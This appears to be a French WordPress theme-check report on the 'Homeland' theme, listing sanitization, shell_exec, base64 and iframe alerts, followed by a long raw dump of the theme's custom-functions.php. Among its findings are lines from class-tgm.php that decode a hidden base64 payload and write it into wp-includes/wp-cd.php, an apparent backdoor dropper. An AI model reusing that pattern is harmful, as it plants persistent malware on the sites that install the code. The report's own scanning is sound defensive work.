0
Résultats de validation

Homeland

Homeland

WordPress 4.9.7 theme
0
Alertes critiques
  1. Customizer : Sanitization des Customizer settings Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-blog.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-services.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-advance-search.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-background.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-header.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-general.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-properties.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-portfolio.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-agents.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-footer.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-home.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-contact.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.Un setting Customizer a été trouvé sans callback de sanitization dans le fichier option-typography.php. Tous les appels à la méthode add_setting() doivent déclarer une fonction de filtrage.
  2. Title : Title Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.
  3. Failles de sécurité : Utilisation d'appels systèmes PHP shell_exec trouvé dans le fichier tmhUtilities.php.
    Line 235: $style = shell_exec('stty -g');
    Line 238: shell_exec('stty -echo');
    Line 241: shell_exec('stty -icanon -echo min 1 time 0');
    Line 260: shell_exec('stty ' . $style);
  4. Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Line 89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  5. Failles de sécurité : Utilisation de base64_encode() base64_encode trouvé dans le fichier tmhOAuth.php.
     base64_encode(
     return base64_encode($credentials);
  6. Présence d'iframes : Les iframes sont parfois utilisées pour charger du contenu non désirés ou du code malicieux sur des sites tiers <iframe src="http://docs.google.com/viewer?url=<?php echo esc_url( $homeland_media_url ); ?> trouvé dans le fichier attachment.php.
    Line 19: <iframe src='http://docs.google.com/viewer?url=<?php echo esc_url( $homelan
    <iframe src="//www.facebook.com/plugins/likebox.php?href=<?php echo esc_url( $instance_homeland_page_url ); ?> trouvé dans le fichier widget-facebook-like.php.
    Line 36: <iframe src='//www.facebook.com/plugins/likebox.php?href=<?php echo esc_url
    <iframe width="100%" height="700" src="' . esc_url( $homeland_video_url ) . '?rel=0" frameborder="0" allowfullscreen class="sframe"></iframe>'; echo '</section>'; } endif; /* Services List */ if ( ! function_exists( 'homeland_services_list' ) ) : function homeland_services_list() { global $post; $homeland_services_order = esc_attr( get_option('homeland_services_order') ); $homeland_services_orderby = esc_attr( get_option('homeland_services_orderby') ); $homeland_services_limit = esc_attr( get_option('homeland_services_limit') ); $homeland_services_button = esc_attr( get_option('homeland_services_button') ); $homeland_services_excerpt = esc_attr( get_option('homeland_services_excerpt') ); $homeland_services_link_target = esc_attr( get_option('homeland_services_link_target') ); $homeland_services_button_label = !empty($homeland_services_button) ? $homeland_services_button : esc_html__('More Details', 'homeland'); $args = array( 'post_type' => 'homeland_services', 'orderby' => $homeland_services_orderby, 'order' => $homeland_services_order, 'posts_per_page' => $homeland_services_limit ); $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <section class="services-block"> <div class="inside services-list-box clearfix"><?php for($homeland_i = 1; $wp_query->have_posts(); $homeland_i++) { $wp_query->the_post(); $homeland_custom_link = esc_url(get_post_meta($post->ID, 'homeland_custom_link', true)); $homeland_icon = esc_html( get_post_meta( $post->ID, "homeland_icon", true ) ); $homeland_custom_icon = esc_url(get_post_meta($post->ID, "homeland_custom_icon", true)); $homeland_columns = 3; $homeland_class = 'services-list '; $homeland_class .= ($homeland_i % $homeland_columns == 0) ? 'last' : ''; ?> <div id="post-<?php the_ID(); ?>" <?php sanitize_html_class( post_class($homeland_class) ); ?>> <?php if(!empty($homeland_custom_link)) : ?> <a href="<?php echo esc_url( $homeland_custom_link ); ?>" target="<?php echo esc_html( $homeland_services_link_target ); ?>"> <?php else : ?> <a href="<?php the_permalink(); ?>"> <?php endif; ?> <span class="hi-icon-wrap hi-icon-effect-1 hi-icon-effect-1a"> <?php if(!empty($homeland_icon)) : ?> <i class="hi-icon fa <?php echo esc_html( $homeland_icon ); ?>"></i> <?php else : ?> <i class="hi-icon"> <img src="<?php echo esc_url( $homeland_custom_icon ); ?>" alt="" title="" /> </i> <?php endif; ?> </span> </a> <div class="services-desc"> <?php the_title( '<h5>', '</h5>' ); if(empty( $homeland_services_excerpt )) : the_excerpt(); endif; if(!empty($homeland_custom_link)) : echo "<a href=". esc_url( $homeland_custom_link ) ." target=". esc_html( $homeland_services_link_target ) ." class='more'>"; else : ?><a href="<?php the_permalink(); ?>" class="more"><?php endif; echo esc_html( $homeland_services_button_label ); ?> </a> </div> </div><?php } ?> </div> </section><?php endif; } endif; if ( ! function_exists( 'homeland_services_list_two' ) ) : function homeland_services_list_two() { global $post; $homeland_services_order = esc_attr( get_option('homeland_services_order') ); $homeland_services_orderby = esc_attr( get_option('homeland_services_orderby') ); $homeland_services_limit = esc_attr( get_option('homeland_services_limit') ); $homeland_services_button = esc_attr( get_option('homeland_services_button') ); $homeland_services_link_target = esc_attr( get_option('homeland_services_link_target') ); $homeland_services_button_label = !empty($homeland_services_button) ? $homeland_services_button : esc_html__('More Details', 'homeland'); $args = array( 'post_type' => 'homeland_services', 'orderby' => $homeland_services_orderby, 'order' => $homeland_services_order, 'posts_per_page' => $homeland_services_limit ); $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <section class="services-block-two"> <div class="inside services-list-box clearfix"><?php for($homeland_i = 1; $wp_query->have_posts(); $homeland_i++) { $wp_query->the_post(); $homeland_custom_link = esc_url(get_post_meta($post->ID, 'homeland_custom_link', true)); $homeland_icon = esc_html( get_post_meta($post->ID, "homeland_icon", true)); $homeland_custom_icon = esc_url(get_post_meta($post->ID, "homeland_custom_icon", true)); $homeland_columns = 3; $homeland_class = 'services-list clearfix '; $homeland_class .= ($homeland_i % $homeland_columns == 0) ? 'last' : ''; ?> <div id="post-<?php the_ID(); ?>" <?php sanitize_html_class( post_class($homeland_class) ); ?>> <div class="services-icon"> <?php if(!empty($homeland_icon)) : ?> <i class="fa <?php echo esc_html( $homeland_icon ); ?> fa-4x"></i> <?php else : ?> <img src="<?php echo esc_url( $homeland_custom_icon ); ?>" alt="" title="" /> <?php endif; ?> </div> <div class="services-desc"> <?php the_title( '<h5>', '</h5>' ); the_excerpt(); if(!empty($homeland_custom_link)) : echo "<a href=". esc_url( $homeland_custom_link ) ." target=". esc_html( $homeland_services_link_target ) ." class='more'>"; else : ?><a href="<?php the_permalink(); ?>" class="more"><?php endif; echo esc_html( $homeland_services_button_label ); ?> </a> </div> </div><?php } ?> </div> </section><?php endif; } endif; if ( ! function_exists( 'homeland_services_list_bg' ) ) : function homeland_services_list_bg() { global $post; $homeland_services_order = esc_attr( get_option('homeland_services_order') ); $homeland_services_orderby = esc_attr( get_option('homeland_services_orderby') ); $homeland_services_limit = esc_attr( get_option('homeland_services_limit') ); $homeland_services_button = esc_attr( get_option('homeland_services_button') ); $homeland_services_overlay = esc_attr( get_option('homeland_services_overlay') ); $homeland_services_link_target = esc_attr( get_option('homeland_services_link_target') ); $homeland_services_button_label = !empty($homeland_services_button) ? $homeland_services_button : esc_html__('More Details', 'homeland'); $args = array( 'post_type' => 'homeland_services', 'orderby' => $homeland_services_orderby, 'order' => $homeland_services_order, 'posts_per_page' => $homeland_services_limit ); $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <section class="services-block-bg"> <?php if(!empty($homeland_services_overlay)) : echo "<div class='overlay'>&nbsp;</div>"; endif; ?> <div class="inside services-list-box clearfix"><?php for($homeland_i = 1; $wp_query->have_posts(); $homeland_i++) { $wp_query->the_post(); $homeland_custom_link = esc_url(get_post_meta($post->ID, 'homeland_custom_link', true)); $homeland_icon = esc_html(get_post_meta($post->ID, "homeland_icon", true)); $homeland_custom_icon = esc_html(get_post_meta($post->ID, "homeland_custom_icon", true)); $homeland_columns = 3; $homeland_class = 'services-list clearfix '; $homeland_class .= ($homeland_i % $homeland_columns == 0) ? 'last' : ''; ?> <div id="post-<?php the_ID(); ?>" <?php sanitize_html_class( post_class($homeland_class) ); ?>> <?php if(!empty($homeland_custom_link)) : ?> <a href="<?php echo esc_url( $homeland_custom_link ); ?>" target="<?php echo esc_html( $homeland_services_link_target ); ?>"> <?php else : ?> <a href="<?php the_permalink(); ?>"> <?php endif; ?> <span class="hi-icon-wrap hi-icon-effect-1 hi-icon-effect-1a"> <?php if(!empty($homeland_icon)) : ?> <i class="hi-icon fa <?php echo esc_html( $homeland_icon ); ?>"></i> <?php else : ?> <img src="<?php echo esc_url( $homeland_custom_icon ); ?>" alt="" title="" /> <?php endif; ?> </span> </a> <div class="services-desc"> <?php the_title( '<h5>', '</h5>' ); the_excerpt(); if(!empty($homeland_custom_link)) : echo "<a href=". esc_url( $homeland_custom_link ) ." target=". esc_html( $homeland_services_link_target ) ." class='more'>"; else : ?><a href="<?php the_permalink(); ?>" class="more"><?php endif; echo esc_html( $homeland_services_button_label ); ?> </a> </div> </div><?php } ?> </div> </section><?php endif; } endif; /* Property List */ if ( ! function_exists( 'homeland_property_list' ) ) : function homeland_property_list() { global $post, $homeland_class; $homeland_album_order = esc_attr( get_option('homeland_album_order') ); $homeland_album_orderby = esc_attr( get_option('homeland_album_orderby') ); $homeland_property_limit = esc_attr( get_option('homeland_property_limit') ); $homeland_property_header = esc_attr( get_option('homeland_property_header') ); $homeland_property_header_label = !empty($homeland_property_header) ? $homeland_property_header : esc_html__('Latest Property', 'homeland' ); $args = array( 'post_type' => 'homeland_properties', 'orderby' => $homeland_album_orderby, 'order' => $homeland_album_order, 'posts_per_page' => $homeland_property_limit ); $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <section class="property-block"> <div class="inside property-list-box clearfix"> <h2><span><?php echo esc_html( $homeland_property_header_label ); ?></span></h2> <div id="carousel" class="es-carousel-wrapper"> <div class="es-carousel"> <div class="grid cs-style-3"> <ul class="clearfix"> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); $homeland_class = 'property-home'; get_template_part( 'loop', 'property-home' ); endwhile; ?> </ul> </div> </div> </div> </div> </section><?php endif; } endif; if ( ! function_exists( 'homeland_property_list_grid' ) ) : function homeland_property_list_grid() { global $post, $homeland_class; $homeland_album_order = esc_attr( get_option('homeland_album_order') ); $homeland_album_orderby = esc_attr( get_option('homeland_album_orderby') ); $homeland_property_limit = esc_attr( get_option('homeland_property_limit') ); $homeland_property_header = esc_attr( get_option('homeland_property_header') ); $homeland_property_header_label = !empty($homeland_property_header) ? $homeland_property_header : esc_html__('Latest Property', 'homeland' ); $args = array( 'post_type' => 'homeland_properties', 'orderby' => $homeland_album_orderby, 'order' => $homeland_album_order, 'posts_per_page' => $homeland_property_limit ); $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <section class="property-block"> <div class="inside property-list-box clearfix"> <h2><span><?php echo esc_html( $homeland_property_header_label ); ?></span></h2> <div class="grid cs-style-3 masonry"> <ul class="clearfix"> <?php for($homeland_i = 1; $wp_query->have_posts(); $homeland_i++) { $wp_query->the_post(); $homeland_columns = 3; $homeland_class = 'property-home masonry-item '; $homeland_class .= ($homeland_i % $homeland_columns == 0) ? 'last' : ''; get_template_part( 'loop', 'property-home' ); } ?> </ul> </div> </div> </section><?php endif; } endif; /* Blog List */ if ( ! function_exists( 'homeland_blog_latest' ) ) : function homeland_blog_latest() { global $post; $homeland_blog_limit = esc_attr( get_option('homeland_blog_limit') ); $homeland_blog_header = esc_attr( get_option('homeland_blog_header') ); $homeland_blog_category = esc_attr( get_option('homeland_blog_category') ); $homeland_blog_header_label = !empty( $homeland_blog_header ) ? $homeland_blog_header : esc_html__( 'Latest News', 'homeland' ); if($homeland_blog_category == esc_html__('Choose a category', 'homeland')) : $args = array( 'post_type' => 'post', 'posts_per_page' => $homeland_blog_limit ); else : $args = array( 'post_type' => 'post', 'posts_per_page' => $homeland_blog_limit, 'category_name' => $homeland_blog_category ); endif; $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <div class="blog-block"> <h3><span><?php echo esc_html( $homeland_blog_header_label ); ?></span></h3> <ul> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?> <li id="post-<?php the_ID(); ?>" <?php sanitize_html_class( post_class('latest-list clearfix') ); ?>> <div class="bimage"> <?php if ( has_post_thumbnail() ) : ?> <a href="<?php the_permalink(); ?>"> <?php the_post_thumbnail('homeland_news_thumb'); ?> </a> <?php else : ?> <label class="no-image-fallback image-blog"> <span><?php esc_html_e( 'No Image Available', 'homeland' ); ?></span> </label> <?php endif; ?> </div> <div class="bdesc"> <?php the_title( '<h5><a href="' . get_permalink() . '">', '</a></h5>' ); ?> <label> <?php esc_html_e( 'Posted by:', 'homeland' ); echo "&nbsp;"; the_author_meta('display_name'); echo "&nbsp;|&nbsp;"; the_time(get_option('date_format')); ?> </label> </div> </li> <?php endwhile; ?> </ul> </div><?php else : esc_html_e( 'You have no blog post yet!', 'homeland' ); endif; } endif; /* Welcome Text */ if ( ! function_exists( 'homeland_welcome_text' ) ) : function homeland_welcome_text() { $homeland_welcome_button = esc_attr( get_option('homeland_welcome_button') ); $homeland_welcome_header = stripslashes( esc_attr( get_option('homeland_welcome_header') ) ); $homeland_welcome_text = stripslashes( esc_attr( get_option('homeland_welcome_text') ) ); $homeland_welcome_link = esc_attr( get_option('homeland_welcome_link') ); $homeland_welcome_overlay = esc_attr( get_option('homeland_welcome_overlay') ); $homeland_welcome_button_label = !empty($homeland_welcome_button) ? $homeland_welcome_button : esc_html__('View Properties', 'homeland'); ?> <section class="welcome-block"> <?php if(!empty($homeland_welcome_overlay)) : echo "<div class='overlay'>&nbsp;</div>"; endif; ?> <div class="inside"> <h2><?php echo esc_html( $homeland_welcome_header ); ?></h2> <label><?php echo esc_html( $homeland_welcome_text ); ?></label> <?php if(!empty($homeland_welcome_link)) : ?> <a href="<?php echo esc_url( $homeland_welcome_link ); ?>" class="view-property"><?php echo esc_html( $homeland_welcome_button_label ); ?></a> <?php endif; ?> </div> </section> <?php } endif; if ( ! function_exists( 'homeland_welcome_text_top' ) ) : function homeland_welcome_text_top() { $homeland_welcome_button = esc_attr( get_option('homeland_welcome_button') ); $homeland_welcome_header = stripslashes( esc_attr( get_option('homeland_welcome_header') ) ); $homeland_welcome_text = stripslashes( esc_attr( get_option('homeland_welcome_text') ) ); $homeland_welcome_link = esc_attr( get_option('homeland_welcome_link') ); $homeland_welcome_button_label = !empty($homeland_welcome_button) ? $homeland_welcome_button : esc_html__('View Properties', 'homeland'); ?> <section class="welcome-block-top"> <div class="inside"> <h2><?php echo esc_html( $homeland_welcome_header ); ?></h2> <label><?php echo esc_html( $homeland_welcome_text ); ?></label> <?php if(!empty($homeland_welcome_link)) : ?> <a href="<?php echo esc_url( $homeland_welcome_link ); ?>" class="view-property"><?php echo esc_html( $homeland_welcome_button_label ); ?></a> <?php endif; ?> </div> </section> <?php } endif; /* Agent List */ if ( ! function_exists( 'homeland_agent_list' ) ) : function homeland_agent_list() { global $post; $homeland_agent_limit = esc_attr( get_option('homeland_agent_limit') ); $homeland_agents_header = esc_attr( get_option('homeland_agents_header') ); $homeland_agent_order = esc_attr( get_option('homeland_agent_order') ); $homeland_agent_orderby = esc_attr( get_option('homeland_agent_orderby') ); $homeland_all_agents = esc_attr( get_option('homeland_all_agents') ); $homeland_agents_header_label = !empty( $homeland_agents_header ) ? $homeland_agents_header : esc_html__( 'Agents', 'homeland' ); if(empty($homeland_all_agents)) : ?> <div class="agent-block"> <h3><span><?php echo esc_html( $homeland_agents_header_label ); ?></span></h3> <ul> <?php $args = array( 'role' => 'contributor', 'order' => $homeland_agent_order, 'orderby' => $homeland_agent_orderby, 'number' => $homeland_agent_limit ); $homeland_agents = new WP_User_Query( $args ); if (!empty( $homeland_agents->results )) : foreach ($homeland_agents->results as $homeland_user) : global $wpdb; $homeland_post_author = $homeland_user->ID; $homeland_agent_name = $homeland_user->display_name; $homeland_custom_avatar = get_the_author_meta('homeland_custom_avatar', $homeland_post_author); $homeland_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_type = 'homeland_properties' AND post_status = 'publish' AND post_author = %d", $homeland_post_author ) ); ?> <li class="clearfix"> <a href="<?php echo esc_url( get_author_posts_url( $homeland_post_author ) ); ?>"> <?php if(!empty($homeland_custom_avatar)) : ?> <img src="<?php echo esc_url( $homeland_custom_avatar ); ?>" class="avatar" style="width:70px; height:70px;" /> <?php else : echo get_avatar( $homeland_post_author, 70 ); endif; ?> </a> <h4> <a href="<?php echo esc_url( get_author_posts_url( $homeland_post_author ) ); ?>"> <?php echo esc_html( $homeland_agent_name ); ?> </a> </h4> <label> <i class="fa fa-home fa-lg"></i> <?php esc_html_e( 'Listed:', 'homeland' ); ?> <span><?php echo intval($homeland_count); echo "&nbsp;"; esc_html_e( 'Properties', 'homeland' ); ?></span> </label> </li> <?php endforeach; else : esc_html_e( 'No Agents found!', 'homeland' ); endif; ?> </ul> </div><?php endif; } endif; /* Featured Properties List */ if ( ! function_exists( 'homeland_featured_list' ) ) : function homeland_featured_list() { global $post; $homeland_album_order = esc_attr( get_option('homeland_album_order') ); $homeland_album_orderby = esc_attr( get_option('homeland_album_orderby') ); $homeland_featured_property_limit = esc_attr( get_option('homeland_featured_property_limit') ); $homeland_featured_property_header = esc_attr( get_option('homeland_featured_property_header') ); $homeland_price_format = esc_attr( get_option('homeland_price_format') ); $homeland_currency = esc_attr( get_option('homeland_property_currency') ); $homeland_property_currency_sign = esc_attr( get_option('homeland_property_currency_sign') ); $homeland_preferred_size = esc_attr( get_option('homeland_preferred_size') ); $homeland_featured_property_header_label = !empty($homeland_featured_property_header) ? $homeland_featured_property_header : esc_html__('Featured Property', 'homeland'); ?> <div class="featured-block"> <h3><span><?php echo esc_html( $homeland_featured_property_header_label ); ?></span></h3> <?php $args = array( 'post_type' => 'homeland_properties', 'orderby' => $homeland_album_orderby, 'order' => $homeland_album_order, 'posts_per_page' => $homeland_featured_property_limit, 'meta_query' => array( array( 'key' => 'homeland_featured', 'value' => 'on', 'compare' => '==' )) ); $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <div class="grid cs-style-3"> <ul> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); $homeland_price_per = esc_attr(get_post_meta( $post->ID, 'homeland_price_per', true)); $homeland_price = esc_attr(get_post_meta($post->ID, 'homeland_price', true)); $homeland_area = esc_attr(get_post_meta($post->ID, 'homeland_area', true)); $homeland_area_unit = esc_attr(get_post_meta( $post->ID, 'homeland_area_unit', true ) ); $homeland_floor_area = esc_attr( get_post_meta( $post->ID, 'homeland_floor_area', true ) ); $homeland_floor_area_unit = esc_attr( get_post_meta( $post->ID, 'homeland_floor_area_unit', true ) ); $homeland_bedroom = esc_attr( get_post_meta($post->ID, 'homeland_bedroom', true) ); $homeland_bathroom = esc_attr( get_post_meta($post->ID, 'homeland_bathroom', true) ); $homeland_garage = esc_attr( get_post_meta($post->ID, 'homeland_garage', true) ); $homeland_property_sold = esc_attr( get_post_meta($post->ID, 'homeland_property_sold', true) ); $homeland_property_status = get_the_terms ( $post->ID, 'homeland_property_status' ); ?> <li id="post-<?php the_ID(); ?>" class="featured-list clearfix"> <?php if ( post_password_required() ) : ?> <div class="password-protect-thumb featured-pass-thumb"> <i class="fa fa-lock fa-2x"></i> </div> <?php else : ?> <figure class="feat-thumb"> <a href="<?php the_permalink(); ?>"> <?php if ( has_post_thumbnail() ) : the_post_thumbnail(); else : echo '<img src="'. get_template_directory_uri() .'/img/no-property-image.png" title="" alt="" />'; endif; ?> </a> <figcaption> <a href="<?php the_permalink(); ?>"> <i class="fa fa-link fa-lg"></i> </a> </figcaption> <?php if(!empty($homeland_property_sold)) : echo "<h4 class='property-sold'>". esc_html__('Sold', 'homeland') ."</h4>"; else : if(!empty( $homeland_property_status )) : ?> <h4> <?php foreach($homeland_property_status as $homeland_sterm) : ?> <span class="<?php echo $homeland_sterm->slug; ?>"><?php echo $homeland_sterm->name; ?></span> <?php endforeach; ?> </h4><?php endif; endif; ?> </figure> <?php endif; ?> <div class="feat-desc"> <?php the_title( '<h5><a href="' . get_permalink() . '">', '</a></h5>' ); ?> <span> <?php if($homeland_preferred_size == "Floor Area") : if(!empty($homeland_floor_area)) : echo esc_html( $homeland_floor_area ) . "&nbsp;" . esc_html( $homeland_floor_area_unit ) . ", "; endif; else : if(!empty($homeland_area)) : echo esc_html( $homeland_area ) . "&nbsp;" . esc_html( $homeland_area_unit ) . ", "; endif; endif; if(!empty($homeland_bedroom)) : echo esc_html( $homeland_bedroom ) . "&nbsp;"; esc_html_e( 'Bedrooms', 'homeland' ); echo ", "; endif; if(!empty($homeland_bathroom)) : echo esc_html( $homeland_bathroom ) . "&nbsp;"; esc_html_e( 'Bathrooms', 'homeland' ); echo ", "; endif; if(!empty($homeland_garage)) : echo esc_html( $homeland_garage ) . "&nbsp;"; esc_html_e( 'Garage', 'homeland' ); endif; ?> </span> <?php if(!empty($homeland_price) ) : ?> <span class="price"><?php homeland_property_price_format(); ?></span> <?php endif; ?> </div> </li><?php endwhile; ?> </ul> </div><?php endif; ?> </div> <?php } endif; if ( ! function_exists( 'homeland_featured_list_large' ) ) : function homeland_featured_list_large() { global $post; $homeland_property_order = esc_attr( get_option('homeland_property_order') ); $homeland_property_orderby = esc_attr( get_option('homeland_property_orderby') ); $homeland_featured_property_limit = esc_attr( get_option('homeland_featured_property_limit') ); $homeland_featured_property_header = esc_attr( get_option('homeland_featured_property_header') ); $homeland_price_format = esc_attr( get_option('homeland_price_format') ); $homeland_currency = esc_attr( get_option('homeland_property_currency') ); $homeland_property_currency_sign = esc_attr( get_option('homeland_property_currency_sign') ); $homeland_preferred_size = esc_attr( get_option('homeland_preferred_size') ); $homeland_featured_property_header_label = !empty($homeland_featured_property_header) ? $homeland_featured_property_header : esc_html__('Featured Property', 'homeland'); ?> <div class="featured-block-two-cols"> <h3><span><?php echo esc_html( $homeland_featured_property_header_label ); ?></span></h3> <?php $args = array( 'post_type' => 'homeland_properties', 'orderby' => $homeland_property_orderby, 'order' => $homeland_property_order, 'posts_per_page' => $homeland_featured_property_limit, 'meta_query' => array( array( 'key' => 'homeland_featured', 'value' => 'on', 'compare' => '==' )) ); $wp_query = new WP_Query( $args ); if ($wp_query->have_posts()) : ?> <div class="grid cs-style-3"> <ul> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); $homeland_price_per = esc_attr( get_post_meta( $post->ID, 'homeland_price_per', true ) ); $homeland_price = esc_attr(get_post_meta($post->ID, 'homeland_price', true)); $homeland_area = esc_attr(get_post_meta($post->ID, 'homeland_area', true)); $homeland_area_unit = esc_attr( get_post_meta( $post->ID, 'homeland_area_unit', true ) ); $homeland_floor_area = esc_attr( get_post_meta( $post->ID, 'homeland_floor_area', true ) ); $homeland_floor_area_unit = esc_attr( get_post_meta( $post->ID, 'homeland_floor_area_unit', true ) ); $homeland_bedroom = esc_attr( get_post_meta($post->ID, 'homeland_bedroom', true) ); $homeland_bathroom = esc_attr( get_post_meta($post->ID, 'homeland_bathroom', true) ); $homeland_garage = esc_attr( get_post_meta($post->ID, 'homeland_garage', true) ); $homeland_property_sold = esc_attr( get_post_meta($post->ID, 'homeland_property_sold', true) ); ?> <li id="post-<?php the_ID(); ?>" <?php sanitize_html_class( post_class('featured-list clearfix') ); ?>> <?php if ( post_password_required() ) : ?> <div class='password-protect-thumb featured-pass-thumb'> <i class='fa fa-lock fa-2x'></i> </div> <?php else : ?> <figure class="feat-medium"> <a href="<?php the_permalink(); ?>"> <?php if ( has_post_thumbnail() ) : the_post_thumbnail('homeland_property_medium'); else : echo '<img src="' . get_template_directory_uri() . '/img/no-property-image.png" title="" alt="" /> trouvé dans le fichier custom-functions.php.
    Line 1: <?php
    	/*
    		Theme Logo
    		Theme Menu
    		FlexSlider
    		FlexSlider Small
    		Advance Search
    		Advance Search Div
    		Advance Search Form
    		Homepage Video
    		Services List
    		Property List
    		Blog List
    		Welcome Text
    		Agent List
    		Featured Property List
    		Testimonials
    		Partners List
    		Portfolio List
    		Social Share Icons
    		Header Social Icons
    		Header Information
    		Contact Information for header 10
    		Static Image Header
    		Call to Action Button
    	*/
    
    	/* Theme Logo */
    
    	if ( ! function_exists( 'homeland_theme_logo' ) ) :
    		function homeland_theme_logo() {
    			$homeland_logo = esc_attr( get_option('homeland_logo') ); 
    			$homeland_blog_name = esc_attr( get_bloginfo('name') ); 
    			$homeland_logo_path = get_template_directory_uri() . '/img/logo.png';
    			$homeland_logo_image = empty( $homeland_logo ) ? $homeland_logo_path : $homeland_logo;
    			?>
    			<div class='logo'>
    				<a href='<?php echo esc_url( home_url( '/' ) ); ?>'>
    					<img src='<?php echo esc_url( $homeland_logo_image ); ?>' alt='<?php echo esc_html( $homeland_blog_name ); ?>' title='<?php echo esc_html( $homeland_blog_name ); ?>' />
    				</a>
    			</div><?php
    		}
    	endif;
    
    
    	/* Theme Menu */
    
    	if ( ! function_exists( 'homeland_theme_menu' ) ) :
    		function homeland_theme_menu() {
    			?>
    				<nav class='clearfix'>
    					<?php
    						wp_nav_menu( array( 
    							'theme_location' => 'primary-menu', 
    							'fallback_cb' => 'homeland_menu_fallback', 
    							'container_class' => 'theme-menu', 
    							'container_id' => 'dropdown', 
    							'menu_id' => 'main-menu', 
    							'menu_class' => 'sf-menu' 
    						) );
    					?>
    				</nav>	
    			<?php
    		}
    	endif;
    	
    
    	/* FlexSlider */
    
    	if ( ! function_exists( 'homeland_slider' ) ) :
    		function homeland_slider() {
    			global $post;
    
    			$homeland_slider_order = esc_attr( get_option('homeland_slider_order') );
    			$homeland_slider_orderby = esc_attr( get_option('homeland_slider_orderby') );
    			$homeland_slider_limit = esc_attr( get_option('homeland_slider_limit') );
    			$homeland_slider_button = esc_attr( get_option('homeland_slider_button') );
    			$homeland_hide_properties_details = esc_attr( get_option('homeland_hide_properties_details') );
    			$homeland_slider_display_list = esc_attr( get_option('homeland_slider_display_list') );
    			$homeland_slider_desc_type = esc_attr( get_option('homeland_slider_desc_type') );
    			$homeland_currency = esc_attr( get_option('homeland_property_currency') ); 
    			$homeland_property_currency_sign = esc_attr( get_option('homeland_property_currency_sign') );
    			$homeland_theme_header = esc_attr( get_option('homeland_theme_header') );
    			$homeland_slider_button_label = !empty( $homeland_slider_button ) ? $homeland_slider_button : esc_html__( 'More Details', 'homeland' );
    			$homeland_slider_type_class = '';
    
    			if($homeland_theme_header == 'Header 4') : $homeland_slider_image = 'full';
    			else : $homeland_slider_image = 'homeland_slider'; 
    			endif;
    
    			if($homeland_slider_desc_type == 'Right') : 
    				$homeland_slider_type_class = 'slider-right';
    			endif;
    
    			if($homeland_slider_display_list == 'Properties') :
    				if($homeland_slider_orderby == 'price') :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
    						'meta_key' => 'homeland_price',
    						'orderby' => 'meta_value_num', 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit,
    						'meta_query' => array( array( 
    							'key' => 'homeland_property_sold', 
    							'value'   => '',
    							'compare' => 'NOT EXISTS',
    						)) 
    					);	
    				else :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
    						'orderby' => $homeland_slider_orderby, 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit,
    						'meta_query' => array( array( 
    							'key' => 'homeland_property_sold', 
    							'value'   => '',
    							'compare' => 'NOT EXISTS',
    						)) 
    					);
    				endif;
    			elseif($homeland_slider_display_list == 'Blog') :
    				$args = array( 
    					'post_type' => 'post', 
    					'orderby' => $homeland_slider_orderby, 
    					'order' => $homeland_slider_order, 
    					'posts_per_page' => $homeland_slider_limit
    				);
    			elseif($homeland_slider_display_list == 'Portfolio') :
    				$args = array( 
    					'post_type' => 'homeland_portfolio', 
    					'orderby' => $homeland_slider_orderby, 
    					'order' => $homeland_slider_order, 
    					'posts_per_page' => $homeland_slider_limit
    				);
    			else :
    				if($homeland_slider_orderby == 'price') :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
    						'meta_key' => 'homeland_price',
    						'orderby' => 'meta_value_num', 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit, 
    						'meta_query' => array( array( 
    							'key' => 'homeland_featured', 
    							'value' => 'on', 
    							'compare' => '==' 
    						)) 
    					);	
    				else :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
